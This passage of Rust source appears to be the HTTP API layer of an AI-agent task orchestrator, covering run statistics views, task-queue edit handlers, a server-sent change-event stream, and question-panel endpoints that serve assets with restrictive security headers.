4504 win_rate: Option<RateView>,
4505}
4506
4507impl From<&stats::AgentStats> for AgentStatsView {
4508 fn from(a: &stats::AgentStats) -> Self {
4509 Self {
4510 agent: a.agent.clone(),
4511 entered: a.entered,
4512 wins: a.wins,
4513 empty: a.empty,
4514 win_rate: RateView::of(a.wins, a.entered),
4515 }
4516 }
4517}
4518
4519#[derive(Debug, Serialize)]
4523struct ReviewerStatsView {
4524 agent: String,
4525 rounds: usize,
4526 seated: usize,
4527 submitted: usize,
4528 adopted: usize,
4529 unique: usize,
4530 timeouts: usize,
4531 adopted_per_round: Option<f64>,
4532 precision: Option<RateView>,
4533 unique_rate: Option<RateView>,
4534 timeout_rate: Option<RateView>,
4535}
4536
4537impl From<&stats::ReviewerStats> for ReviewerStatsView {
4538 fn from(r: &stats::ReviewerStats) -> Self {
4539 Self {
4540 agent: r.agent.clone(),
4541 rounds: r.rounds,
4542 seated: r.seated,
4543 submitted: r.submitted,
4544 adopted: r.adopted,
4545 unique: r.unique,
4546 timeouts: r.timeouts,
4547 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4548 precision: RateView::of(r.adopted, r.submitted),
4549 unique_rate: RateView::of(r.unique, r.submitted),
4550 timeout_rate: RateView::of(r.timeouts, r.seated),
4551 }
4552 }
4553}
4554
4555#[derive(Debug, Serialize)]
4561struct AdvisorStatsView {
4562 agent: String,
4563 seated: usize,
4564 proposed: usize,
4565 absent: usize,
4566 faint: usize,
4567 strong: usize,
4568 reflection_rate: Option<RateView>,
4569}
4570
4571impl From<&stats::AdvisorStats> for AdvisorStatsView {
4572 fn from(a: &stats::AdvisorStats) -> Self {
4573 Self {
4574 agent: a.agent.clone(),
4575 seated: a.seated,
4576 proposed: a.proposed,
4577 absent: a.absent,
4578 faint: a.faint,
4579 strong: a.strong,
4580 reflection_rate: RateView::of(a.strong, a.proposed),
4581 }
4582 }
4583}
4584
4585#[derive(Debug, Serialize)]
4587struct E2eStatsView {
4588 rounds: usize,
4589 failures: usize,
4590 sole_detections: usize,
4591 deferred: usize,
4592 sole_rate: Option<RateView>,
4593}
4594
4595impl From<&stats::E2eStats> for E2eStatsView {
4596 fn from(e: &stats::E2eStats) -> Self {
4597 Self {
4598 rounds: e.rounds,
4599 failures: e.failures,
4600 sole_detections: e.sole_detections,
4601 deferred: e.deferred,
4602 sole_rate: RateView::of(e.sole_detections, e.failures),
4603 }
4604 }
4605}
4606
4607#[derive(Debug, Serialize)]
4615struct ReleaseBumpStatsView {
4616 merged: usize,
4617 recorded: usize,
4618 pr_opened: usize,
4619 automerge_enabled: usize,
4620 merged_directly: usize,
4621 needs_attention: usize,
4622 clean: usize,
4623 coverage_rate: Option<RateView>,
4624 automerge_rate: Option<RateView>,
4625 attention_rate: Option<RateView>,
4626}
4627
4628impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4629 fn from(b: &stats::ReleaseBumpStats) -> Self {
4630 Self {
4631 merged: b.merged,
4632 recorded: b.recorded,
4633 pr_opened: b.pr_opened,
4634 automerge_enabled: b.automerge_enabled,
4635 merged_directly: b.merged_directly,
4636 needs_attention: b.needs_attention,
4637 clean: b.clean(),
4638 coverage_rate: RateView::of(b.recorded, b.merged),
4639 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4640 attention_rate: RateView::of(b.needs_attention, b.recorded),
4641 }
4642 }
4643}
4644
4645#[derive(Debug, Serialize)]
4647struct TaskCountsView {
4648 queued: usize,
4649 running: usize,
4650 done: usize,
4651 failed: usize,
4652 held: usize,
4653 blocked: usize,
4654}
4655
4656impl From<crate::queue::TaskCounts> for TaskCountsView {
4657 fn from(c: crate::queue::TaskCounts) -> Self {
4658 Self {
4659 queued: c.queued,
4660 running: c.running,
4661 done: c.done,
4662 failed: c.failed,
4663 held: c.held,
4664 blocked: c.blocked,
4665 }
4666 }
4667}
4668
4669#[derive(Debug, Serialize)]
4675struct RepoSummaryView {
4676 repo: String,
4679 name: String,
4681 runs: usize,
4682 completion_rate: Option<RateView>,
4683}
4684
4685impl From<&stats::RepoStats> for RepoSummaryView {
4686 fn from(r: &stats::RepoStats) -> Self {
4687 let t = &r.stats.totals;
4688 Self {
4689 repo: r.repo.to_string_lossy().into_owned(),
4690 name: r.name.clone(),
4691 runs: t.runs,
4692 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4693 }
4694 }
4695}
4696
4697#[derive(Debug, Serialize)]
4703struct StatsView {
4704 totals: StatsTotalsView,
4705 agents: Vec<AgentStatsView>,
4707 reviewers: Vec<ReviewerStatsView>,
4709 advisors: Vec<AdvisorStatsView>,
4711 e2e: E2eStatsView,
4712 release_bumps: ReleaseBumpStatsView,
4713 queue: TaskCountsView,
4714 runs_unreadable: usize,
4724 repos: Vec<RepoSummaryView>,
4728 daily: Vec<DailyStatsView>,
4733 repo: Option<String>,
4737}
4738
4739#[derive(Debug, Serialize)]
4741struct DailyStatsView {
4742 date: String,
4744 runs: usize,
4745 merged: usize,
4746 ready: usize,
4747 other: usize,
4748 completion_rate: Option<RateView>,
4750}
4751
4752impl From<&stats::DayBucket> for DailyStatsView {
4753 fn from(b: &stats::DayBucket) -> Self {
4754 Self {
4755 date: b.date.to_string(),
4756 runs: b.runs,
4757 merged: b.merged,
4758 ready: b.ready,
4759 other: b.other,
4760 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4761 }
4762 }
4763}
4764
4765const STATS_DAILY_DAYS: usize = 30;
4767
4768#[derive(Debug, Default, Deserialize)]
4777#[serde(default)]
4778struct StatsQuery {
4779 repo: Option<String>,
4780}
4781
4782async fn stats_get(
4789 State(ui): State<Arc<Ui>>,
4790 Query(q): Query<StatsQuery>,
4791) -> ApiResult<Json<StatsView>> {
4792 blocking(move || {
4793 let states: Vec<RunState> = run_ids(&ui.runs)
4794 .into_iter()
4795 .filter_map(|id| read_run(&ui.runs, &id).ok())
4796 .collect();
4797 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4798 .iter()
4799 .map(RepoSummaryView::from)
4800 .collect();
4801 let mut scoped: Vec<&RunState> = states.iter().collect();
4802 let collected = match &q.repo {
4803 Some(repo) => {
4804 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4805 if filtered.is_empty() {
4806 return Err(ApiError::not_found(format!(
4807 "no runs recorded against repo `{repo}`"
4808 )));
4809 }
4810 scoped = filtered.clone();
4811 stats::collect_refs(filtered)
4812 }
4813 None => stats::collect(&states),
4814 };
4815 let daily = stats::daily(
4816 scoped,
4817 jiff::Zoned::now().date(),
4818 &jiff::tz::TimeZone::system(),
4819 STATS_DAILY_DAYS,
4820 );
4821 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4822 Ok(Json(StatsView {
4823 totals: StatsTotalsView::from(&collected.totals),
4824 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4825 reviewers: collected
4826 .reviewers
4827 .iter()
4828 .map(ReviewerStatsView::from)
4829 .collect(),
4830 advisors: collected
4831 .advisors
4832 .iter()
4833 .map(AdvisorStatsView::from)
4834 .collect(),
4835 e2e: E2eStatsView::from(&collected.e2e),
4836 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4837 queue: TaskCountsView::from(queue_counts),
4838 runs_unreadable: runs_unreadable(&ui.runs),
4839 repos,
4840 daily: daily.iter().map(DailyStatsView::from).collect(),
4841 repo: q.repo.clone(),
4842 }))
4843 })
4844 .await
4845}
4846
4847#[derive(Debug, Default, Deserialize)]
4850#[serde(default, deny_unknown_fields)]
4851struct HoldBody {
4852 reason: Option<String>,
4853}
4854
4855async fn queue_hold(
4856 State(ui): State<Arc<Ui>>,
4857 Path(id): Path<String>,
4858 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4859) -> ApiResult<Json<TaskView>> {
4860 let body = match body {
4864 Ok(Json(body)) => body,
4865 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4866 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4867 };
4868 let reason = body.reason.filter(|r| !r.trim().is_empty());
4869 mutate(ui, id, move |t| {
4870 t.hold_manual(reason.clone());
4871 Ok(())
4872 })
4873 .await
4874}
4875
4876async fn queue_release(
4877 State(ui): State<Arc<Ui>>,
4878 Path(id): Path<String>,
4879) -> ApiResult<Json<TaskView>> {
4880 mutate(ui, id, |t| {
4881 t.release();
4882 Ok(())
4883 })
4884 .await
4885}
4886
4887#[derive(Debug, Deserialize)]
4889#[serde(deny_unknown_fields)]
4890struct PriorityBody {
4891 priority: i32,
4892}
4893
4894async fn queue_priority(
4900 State(ui): State<Arc<Ui>>,
4901 Path(id): Path<String>,
4902 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4903) -> ApiResult<Json<TaskView>> {
4904 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4905 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4906}
4907
4908#[derive(Debug, Deserialize)]
4910#[serde(deny_unknown_fields)]
4911struct EditBody {
4912 title: String,
4913 instruction: String,
4914 #[serde(default)]
4917 force: bool,
4918}
4919
4920async fn queue_edit(
4924 State(ui): State<Arc<Ui>>,
4925 Path(id): Path<String>,
4926 body: std::result::Result<Json<EditBody>, JsonRejection>,
4927) -> ApiResult<Json<TaskView>> {
4928 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4929 let mut judged: Option<(String, PathBuf)> = None;
4933 if !body.force {
4934 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4935 let (id, text) = (id.clone(), body.instruction.clone());
4936 let (seen, hits) = blocking(move || {
4937 let id = resolve_task(&queue, &id)?;
4938 let t = queue.get(&id)?;
4939 if text == t.instruction {
4940 return Ok((None, Vec::new()));
4941 }
4942 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4943 Ok((Some((t.instruction, t.repo)), hits))
4944 })
4945 .await?;
4946 if let Some((_, repo)) = &seen {
4947 let cfg = crate::config::Config::discover(repo, None)
4948 .ok()
4949 .map(|(c, _)| c);
4950 let screened =
4951 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4952 .await
4953 .map_err(|dup| {
4954 ApiError::conflict(dup.render(
4955 "Nothing was saved. If it is not a duplicate, repeat the request \
4956 with \"force\": true.",
4957 ))
4958 })?;
4959 if let crate::dupes::Screened::Unjudged(why) = screened {
4960 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
4961 }
4962 }
4963 judged = seen;
4964 }
4965 let force = body.force;
4966 mutate(ui, id, move |t| {
4967 if !force && body.instruction != t.instruction {
4968 match &judged {
4969 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4970 _ => {
4971 anyhow::bail!("the task changed while it was being checked; repeat the request")
4972 }
4973 }
4974 }
4975 t.edit(body.title.clone(), body.instruction.clone())
4976 })
4977 .await
4978}
4979
4980async fn queue_done(
4988 State(ui): State<Arc<Ui>>,
4989 Path(id): Path<String>,
4990) -> ApiResult<Json<TaskView>> {
4991 let home = ui.home.clone();
4992 mutate(ui, id, move |t| {
4993 t.succeed();
4994 crate::daemon::supersede_prior_runs(t, &home);
5002 Ok(())
5003 })
5004 .await
5005}
5006
5007async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5015 blocking(move || {
5016 let id = resolve_task(&ui.queue, &id)?;
5017 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5018 ui.queue
5019 .remove(&id, in_flight, &ui.questions)
5020 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5021 Ok(StatusCode::NO_CONTENT)
5022 })
5023 .await
5024}
5025
5026async fn mutate(
5035 ui: Arc<Ui>,
5036 id: String,
5037 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5038) -> ApiResult<Json<TaskView>> {
5039 blocking(move || {
5040 let id = resolve_task(&ui.queue, &id)?;
5041 let _claim = ui.queue.claim(&id).map_err(|e| {
5046 ApiError::conflict(format!(
5047 "{e:#} - a daemon is running this task, so it cannot be \
5048 changed from here yet"
5049 ))
5050 })?;
5051 let mut task = ui.queue.get(&id)?;
5052 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5053 Ok(dup) => ApiError::conflict(dup.render(
5054 "Nothing was saved. If it is not a duplicate, repeat the request with \
5055 \"force\": true.",
5056 )),
5057 Err(e) => ApiError::bad_request_from(e),
5058 })?;
5059 ui.queue.put(&mut task)?;
5060 Ok(Json(TaskView::from(task)))
5061 })
5062 .await
5063}
5064
5065async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5073 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5074 tokio::spawn(async move {
5075 let mut ticker = tokio::time::interval(POLL);
5076 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5077 let mut stamps: Option<[Stamps; 3]> = None;
5078 loop {
5079 ticker.tick().await;
5082 let state = Arc::clone(&ui);
5083 let revisions = tokio::task::spawn_blocking(move || {
5084 let stamps = [
5085 store_stamps(state.queue.root(), false),
5086 store_stamps(&state.runs, true),
5087 store_stamps(state.talks.root(), false),
5088 ];
5089 let revisions = (
5090 stamps_revision(&stamps[0]),
5091 stamps_revision(&stamps[1]),
5092 state.questions.revision(),
5093 stamps_revision(&stamps[2]),
5094 state.notices.revision(),
5095 state.lock_loop().rev,
5099 );
5100 (revisions, stamps)
5101 })
5102 .await;
5103 let Ok((revisions, next_stamps)) = revisions else {
5104 break;
5105 };
5106 if last == Some(revisions) {
5107 continue;
5108 }
5109 let mut payload = serde_json::json!({
5110 "queue_rev": revisions.0,
5111 "runs_rev": revisions.1,
5112 "questions_rev": revisions.2,
5113 "talks_rev": revisions.3,
5114 "notifications_rev": revisions.4,
5115 "loop_rev": revisions.5,
5116 });
5117 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5118 for (index, (key, rev)) in [
5119 ("queue_delta", base.0),
5120 ("runs_delta", base.1),
5121 ("talks_delta", base.3),
5122 ]
5123 .into_iter()
5124 .enumerate()
5125 {
5126 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5127 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5129 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5130 }
5131 }
5132 }
5133 last = Some(revisions);
5134 stamps = Some(next_stamps);
5135 let Ok(event) = Event::default().event("change").json_data(payload) else {
5137 break;
5138 };
5139 if tx.send(event).await.is_err() {
5140 break;
5141 }
5142 }
5143 });
5144 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5145 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5146}
5147
5148type Stamps = HashMap<String, (u128, u64)>;
5149
5150fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5152 std::fs::read_dir(root)
5153 .into_iter()
5154 .flatten()
5155 .flatten()
5156 .filter_map(|entry| {
5157 let path = if runs {
5158 entry.path().join("run.json")
5159 } else {
5160 entry.path()
5161 };
5162 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5163 return None;
5164 }
5165 let metadata = path.metadata().ok()?;
5166 let modified = metadata
5167 .modified()
5168 .ok()?
5169 .duration_since(std::time::UNIX_EPOCH)
5170 .ok()?;
5171 let id = if runs {
5172 entry.file_name().to_string_lossy().into_owned()
5173 } else {
5174 path.file_stem()?.to_string_lossy().into_owned()
5175 };
5176 Some((id, (modified.as_nanos(), metadata.len())))
5177 })
5178 .collect()
5179}
5180
5181#[derive(Debug, Serialize)]
5182struct Delta {
5183 base: u64,
5184 changed: Vec<String>,
5185 removed: Vec<String>,
5186}
5187
5188fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5189 let mut changed: Vec<_> = next
5190 .iter()
5191 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5192 .map(|(id, _)| id.clone())
5193 .collect();
5194 let mut removed: Vec<_> = previous
5195 .keys()
5196 .filter(|id| !next.contains_key(*id))
5197 .cloned()
5198 .collect();
5199 changed.sort_unstable();
5200 removed.sort_unstable();
5201 Delta {
5202 base,
5203 changed,
5204 removed,
5205 }
5206}
5207
5208fn runs_revision(runs: &FsPath) -> u64 {
5215 stamps_revision(&store_stamps(runs, true))
5216}
5217
5218fn stamps_revision(stamps: &Stamps) -> u64 {
5222 use std::hash::{Hash as _, Hasher as _};
5223 if stamps.is_empty() {
5224 return 0;
5225 }
5226 let mut entries: Vec<_> = stamps.iter().collect();
5227 entries.sort_unstable();
5228 let mut hasher = std::hash::DefaultHasher::new();
5229 entries.hash(&mut hasher);
5230 hasher.finish().max(1)
5231}
5232
5233fn run_ids(runs: &FsPath) -> Vec<String> {
5239 let mut ids: Vec<String> = std::fs::read_dir(runs)
5240 .into_iter()
5241 .flatten()
5242 .flatten()
5243 .filter(|e| e.path().join("run.json").is_file())
5244 .map(|e| e.file_name().to_string_lossy().into_owned())
5245 .collect();
5246 ids.sort_unstable_by(|a, b| b.cmp(a));
5248 ids
5249}
5250
5251fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5253 let path = runs.join(id).join("run.json");
5254 let body =
5255 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5256 let state: RunState =
5257 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5258 run::migrate_schema(state)
5263}
5264
5265#[must_use]
5273pub fn runs_unreadable(runs: &FsPath) -> usize {
5274 run_ids(runs)
5275 .into_iter()
5276 .filter(|id| read_run(runs, id).is_err())
5277 .count()
5278}
5279
5280fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5282 if runs.join(id).join("run.json").is_file() {
5283 return Ok(id.to_owned());
5284 }
5285 pick(run_ids(runs), id, "run")
5286}
5287
5288fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5290 if queue.path_of(id).is_file() {
5291 return Ok(id.to_owned());
5292 }
5293 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5294}
5295
5296#[derive(Debug, Serialize)]
5307struct QuestionView {
5308 #[serde(flatten)]
5309 question: Question,
5310 detail_md: Vec<md::Node>,
5311 thread_bodies_md: Vec<Vec<md::Node>>,
5313 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5316 waiting_on_agent: bool,
5326 holder: Option<&'static str>,
5330 deputies_enabled: bool,
5334 run_is_task: bool,
5337 origin_chat: Option<String>,
5342}
5343
5344impl QuestionView {
5345 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5349 let base = md::ImageBase::QuestionPanel {
5350 id: question.id.clone(),
5351 };
5352 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5353 Self {
5354 detail_md: md::to_nodes(&question.detail, &base),
5355 thread_bodies_md: question
5356 .thread
5357 .iter()
5358 .map(|t| md::to_nodes(&t.body, &base))
5359 .collect(),
5360 thread_notes_md: question
5361 .thread
5362 .iter()
5363 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5364 .collect(),
5365 waiting_on_agent: question.waiting_on_agent(),
5366 holder,
5367 deputies_enabled,
5368 run_is_task: question.run_names_task(),
5369 origin_chat: None,
5370 question,
5371 }
5372 }
5373
5374 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5376 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5377 self
5378 }
5379}
5380
5381fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5385 Config::discover(repo, None).ok().map(|(c, _)| c)
5386}
5387
5388fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5390 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5391}
5392
5393fn question_views(
5396 qs: Vec<Question>,
5397 store: &ask::Questions,
5398 load: impl FnOnce() -> Option<Config>,
5399) -> Vec<QuestionView> {
5400 if qs.is_empty() {
5401 return Vec::new();
5402 }
5403 let cfg = load();
5404 qs.into_iter()
5405 .map(|q| {
5406 let on = deputies_enabled(cfg.as_ref(), &q);
5407 QuestionView::of(q, store, on)
5408 })
5409 .collect()
5410}
5411
5412fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5422 if !q.status.open() {
5423 return None;
5424 }
5425 if q.cwd.is_none() && q.deputy.is_none() {
5426 return crate::deputy::kind_of(q).map(|_| "nobody");
5427 }
5428 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5429 Some(_) if q.deputy.is_some() => "deputy",
5430 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5431 Some(_) => "asker",
5432 None => "nobody",
5433 })
5434}
5435
5436async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5442 blocking(move || {
5443 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5444 Ok(Json(
5445 question_views(ui.questions.list(), &ui.questions, || {
5446 deputy_config(&ui.repo)
5447 })
5448 .into_iter()
5449 .map(|v| v.with_origin(&tasks, &talks))
5450 .collect(),
5451 ))
5452 })
5453 .await
5454}
5455
5456async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5459 blocking(move || {
5460 let items = ui.notices.list();
5461 let unread = items.iter().filter(|n| n.unread()).count();
5462 Ok(Json(
5463 serde_json::json!({ "unread": unread, "items": items }),
5464 ))
5465 })
5466 .await
5467}
5468
5469fn notice_error(e: anyhow::Error) -> ApiError {
5470 ApiError::not_found(format!("{e:#}"))
5473}
5474
5475async fn notification_read(
5477 State(ui): State<Arc<Ui>>,
5478 Path(id): Path<String>,
5479) -> ApiResult<Json<Notice>> {
5480 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5481}
5482
5483async fn notification_dismiss(
5485 State(ui): State<Arc<Ui>>,
5486 Path(id): Path<String>,
5487) -> ApiResult<Json<Notice>> {
5488 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5489}
5490
5491async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5493 blocking(move || {
5494 let changed = ui.notices.mark_all_read()?;
5495 Ok(Json(serde_json::json!({ "marked": changed })))
5496 })
5497 .await
5498}
5499
5500#[derive(Debug, Default, Deserialize)]
5506#[serde(default, deny_unknown_fields)]
5507struct NewAnswer {
5508 choice: Option<String>,
5509 text: Option<String>,
5510}
5511
5512async fn question_answer(
5513 State(ui): State<Arc<Ui>>,
5514 Path(id): Path<String>,
5515 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5516) -> ApiResult<Json<QuestionView>> {
5517 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5518 let answer = match (body.choice, body.text) {
5519 (Some(c), None) => Answer::Choice(c),
5520 (None, Some(t)) => Answer::Text(t),
5521 (Some(_), Some(_)) => {
5522 return Err(ApiError::bad_request(
5523 "send either `choice` or `text`, not both",
5524 ));
5525 }
5526 (None, None) => {
5527 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5528 }
5529 };
5530
5531 blocking(move || {
5532 let id = resolve_question(&ui.questions, &id)?;
5533 let q = ui
5534 .questions
5535 .get(&id)
5536 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5537 if !q.status.open() {
5538 return Err(ApiError::conflict(format!(
5542 "question {} is already {}",
5543 q.short(),
5544 q.status.as_str()
5545 )));
5546 }
5547 let (q, ()) = ui
5551 .questions
5552 .update(&q.id, |r| r.answer(answer))
5553 .map_err(ApiError::bad_request_from)?;
5554 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5555 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5556 Ok(Json(
5557 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5558 ))
5559 })
5560 .await
5561}
5562
5563#[derive(Debug, Deserialize)]
5565#[serde(deny_unknown_fields)]
5566struct NewSay {
5567 body: String,
5568}
5569
5570async fn question_say(
5580 State(ui): State<Arc<Ui>>,
5581 Path(id): Path<String>,
5582 body: std::result::Result<Json<NewSay>, JsonRejection>,
5583) -> ApiResult<Json<QuestionView>> {
5584 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5585 blocking(move || {
5586 let id = resolve_question(&ui.questions, &id)?;
5587 let q = ui
5588 .questions
5589 .get(&id)
5590 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5591 if !q.status.open() {
5592 return Err(ApiError::conflict(format!(
5596 "question {} is already {}",
5597 q.short(),
5598 q.status.as_str()
5599 )));
5600 }
5601 let (q, ()) = ui
5604 .questions
5605 .update(&q.id, |r| r.say(body.body))
5606 .map_err(ApiError::bad_request_from)?;
5607 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5608 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5609 Ok(Json(
5610 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5611 ))
5612 })
5613 .await
5614}
5615
5616async fn question_consult(
5625 State(ui): State<Arc<Ui>>,
5626 Path(id): Path<String>,
5627) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5628 let (view, reclaimed) = blocking({
5629 let ui = Arc::clone(&ui);
5630 move || {
5631 let id = resolve_question(&ui.questions, &id)?;
5632 let q = ui
5633 .questions
5634 .get(&id)
5635 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5636 if !q.status.open() {
5637 return Err(ApiError::conflict(format!(
5638 "question {} is already {}",
5639 q.short(),
5640 q.status.as_str()
5641 )));
5642 }
5643 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5644 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5645 return Err(ApiError::conflict(format!(
5646 "question {} has no open chat to ask",
5647 q.short()
5648 )));
5649 };
5650 let cfg = if q.consult.is_none() {
5654 Some(Config::discover(&talk.repo, None)?.0)
5655 } else {
5656 None
5657 };
5658 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5659 let claim = if fresh {
5660 match ui.begin_queued_talk_turn(&talk.id)? {
5661 Some(turn_guard) => {
5662 let talk = ui.talks.get(&talk.id)?;
5663 let cfg = match cfg {
5664 Some(cfg) => cfg,
5665 None => Config::discover(&talk.repo, None)?.0,
5666 };
5667 Some((talk, cfg, turn_guard))
5668 }
5669 None => None,
5670 }
5671 } else {
5672 None
5673 };
5674 let q = ui.questions.get(&q.id)?;
5675 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5676 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5677 Ok((view, claim))
5678 }
5679 })
5680 .await?;
5681 if let Some((talk, cfg, turn_guard)) = reclaimed {
5682 let talks = ui.talks.clone();
5683 let id = talk.id.clone();
5684 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5685 }
5686 Ok((StatusCode::ACCEPTED, Json(view)))
5687}
5688
5689fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5691 if store.path_of(id).is_file() {
5692 return Ok(id.to_owned());
5693 }
5694 pick(
5695 store.list().into_iter().map(|q| q.id).collect(),
5696 id,
5697 "question",
5698 )
5699}
5700
5701async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5716 blocking(move || {
5717 let id = resolve_question(&ui.questions, &id)?;
5718 let Some(html) = ui.questions.panel_html(&id) else {
5719 return Err(ApiError::not_found(format!("question {id} has no panel")));
5720 };
5721 Ok(panel_response(
5722 "text/html; charset=utf-8",
5723 false,
5724 html.into_bytes(),
5725 ))
5726 })
5727 .await
5728}
5729
5730async fn question_asset(
5758 State(ui): State<Arc<Ui>>,
5759 Path((id, name)): Path<(String, String)>,
5760) -> ApiResult<Response> {
5761 if !crate::ask::valid_asset_name(&name) {
5764 return Err(ApiError::bad_request(format!(
5765 "`{name}` is not a usable asset name"
5766 )));
5767 }
5768 blocking(move || {
5769 let id = resolve_question(&ui.questions, &id)?;
5770 let asset = ui
5771 .questions
5772 .panel_asset(&id, &name)
5773 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5774 let Some(bytes) = asset else {
5775 return Err(ApiError::not_found(format!(
5776 "question {id} has no asset `{name}`"
5777 )));
5778 };
5779 Ok(panel_response(
5780 asset_content_type(&name),
5781 is_svg(&name),
5782 bytes,
5783 ))
5784 })
5785 .await
5786}
5787
5788fn asset_content_type(name: &str) -> &'static str {
5801 match extension(name).as_deref() {
5802 Some("png") => "image/png",
5803 Some("jpg" | "jpeg") => "image/jpeg",
5804 Some("gif") => "image/gif",
5805 Some("webp") => "image/webp",
5806 Some("svg") => "image/svg+xml",
5807 Some("css") => "text/css; charset=utf-8",
5808 Some("txt") => "text/plain; charset=utf-8",
5809 _ => "application/octet-stream",
5810 }
5811}
5812
5813fn is_svg(name: &str) -> bool {
5816 extension(name).as_deref() == Some("svg")
5817}
5818
5819fn extension(name: &str) -> Option<String> {
5821 name.rsplit_once('.')
5822 .map(|(_, ext)| ext.to_ascii_lowercase())
5823}
5824
5825fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5842 let mut res = (
5843 [
5844 (header::CONTENT_TYPE, content_type),
5845 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5846 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5847 (header::REFERRER_POLICY, "no-referrer"),
5848 ],
5849 body,
5850 )
5851 .into_response();
5852 if download {
5853 res.headers_mut().insert(
5854 header::CONTENT_DISPOSITION,
5855 HeaderValue::from_static("attachment"),
5856 );
5857 }
5858 res
5859}
5860
5861#[derive(Debug, Serialize)]
